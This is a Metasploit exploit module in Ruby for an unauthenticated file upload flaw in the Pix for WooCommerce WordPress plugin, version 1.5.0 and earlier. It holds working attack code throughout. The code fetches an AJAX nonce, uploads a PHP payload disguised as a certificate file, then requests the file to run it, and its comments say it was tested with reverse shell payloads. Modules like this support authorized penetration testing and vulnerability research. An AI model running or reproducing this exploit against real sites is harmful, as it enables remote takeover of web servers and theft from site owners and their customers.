WordPress Unauthenticated RCE via Pix for WooCommerce plugin

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HTTP::Wordpress
  include Msf::Exploit::FileDropper
  prepend Msf::Exploit::Remote::AutoCheck

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'WordPress Unauthenticated RCE via Pix for WooCommerce plugin',
        'Description' => %q{
          This Metasploit module exploits an Unauthenticated Arbitrary File Upload vulnerability in the Pix for WooCommerce plugin for WordPress.

          Attackers can leverage the missing capability check and insufficient file type validation in the 'lkn_pix_for_woocommerce_c6_save_settings' function to upload arbitrary files to the affected server, which may lead to remote code execution under the web server's privileges.

          The affected versions include all releases up to and including 1.5.0.
        },
        'License' => MSF_LICENSE,
        'Author' => [
          'Maksim Rogov', # Metasploit Module
          'Alexis Lafontaine' # Vulnerability Discovery
        ],
        'References' => [
          ['CVE', '2026-3891'],
          ['WPVDB', '36b05ea1-77d4-4561-b735-900e9ada4ccc'],
          ['URL', 'https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/payment-gateway-pix-for-woocommerce/pix-for-woocommerce-150-unauthenticated-arbitrary-file-upload']
        ],
        'Targets' => [
          [
            'Pix for WooCommerce <= 1.5.0 / Automatic',
            {
              'Platform' => ['php'],
              'Arch' => [ARCH_PHP]
              # Tested with php/unix/cmd/reverse_bash
              # Tested with php/meterpreter/reverse_tcp
            }
          ],
        ],
        'DisclosureDate' => '2026-03-12',
        'Notes' => {
          'Stability' => [CRASH_SAFE],
          'SideEffects' => [IOC_IN_LOGS],
          'Reliability' => [REPEATABLE_SESSION]
        }
      )
    )

    register_options(
      [
        OptString.new('TARGETURI', [true, 'Path to the WordPress installation', '/']),
      ]
    )
  end

  def check
    check_plugin_version_from_readme('payment-gateway-pix-for-woocommerce', '1.6.0', '1.0.0')
  end

  def get_nonce
    print_status('Retrieving AJAX nonce...')

    res = send_request_cgi(
      'method' => 'POST',
      'uri' => normalize_uri(target_uri.path, 'wp-admin', 'admin-ajax.php'),
      'vars_post' => {
        'action' => 'lkn_pix_for_woocommerce_generate_nonce',
        'action_name' => 'lkn_pix_for_woocommerce_c6_settings_nonce'
      }
    )
    fail_with(Failure::UnexpectedReply, "#{peer} Server did not respond with the expected HTTP 200") unless res && res.code == 200

    json_body = res.get_json_document
    fail_with(Failure::UnexpectedReply, "#{peer} - Unable to parse JSON response.") if json_body.nil? || json_body.empty?

    nonce = json_body.dig('data', 'nonce')
    fail_with(Failure::UnexpectedReply, "#{peer} - Nonce not found in the JSON response") if nonce.to_s.empty?

    print_good("Successfully retrieved nonce: #{nonce}")

    nonce
  end

  def upload_shell
    nonce = get_nonce

    filename = "#{Rex::Text.rand_text_alphanumeric(4..16)}.php"
    print_status("Uploading payload as #{filename}...")

    post_data = Rex::MIME::Message.new
    post_data.add_part('lkn_pix_for_woocommerce_c6_save_settings', nil, nil, 'form-data; name="action"')
    post_data.add_part(nonce, nil, nil, 'form-data; name="_ajax_nonce"')
    post_data.add_part(payload.encoded, 'text/plain', nil, "form-data; name=\"certificate_crt_path\"; filename=\"#{filename}\"")

    res = send_request_cgi(
      'uri' => normalize_uri(target_uri.path, 'wp-admin', 'admin-ajax.php'),
      'method' => 'POST',
      'ctype' => "multipart/form-data; boundary=#{post_data.bound}",
      'data' => post_data.to_s
    )
    fail_with(Failure::UnexpectedReply, "#{peer} Server did not respond with the expected HTTP 200") unless res && res.code == 200
    register_files_for_cleanup(filename)

    print_good('Payload uploaded successfully')
    normalize_uri(target_uri.path, 'wp-content', 'plugins', 'payment-gateway-pix-for-woocommerce', 'Includes', 'files', 'certs_c6', filename)
  end

  def trigger_shell(shell_uri)
    print_status("Triggering at #{shell_uri}...")
    send_request_cgi(
      'uri' => shell_uri
    )
  end

  def exploit
    shell_uri = upload_shell
    trigger_shell(shell_uri)
  end

end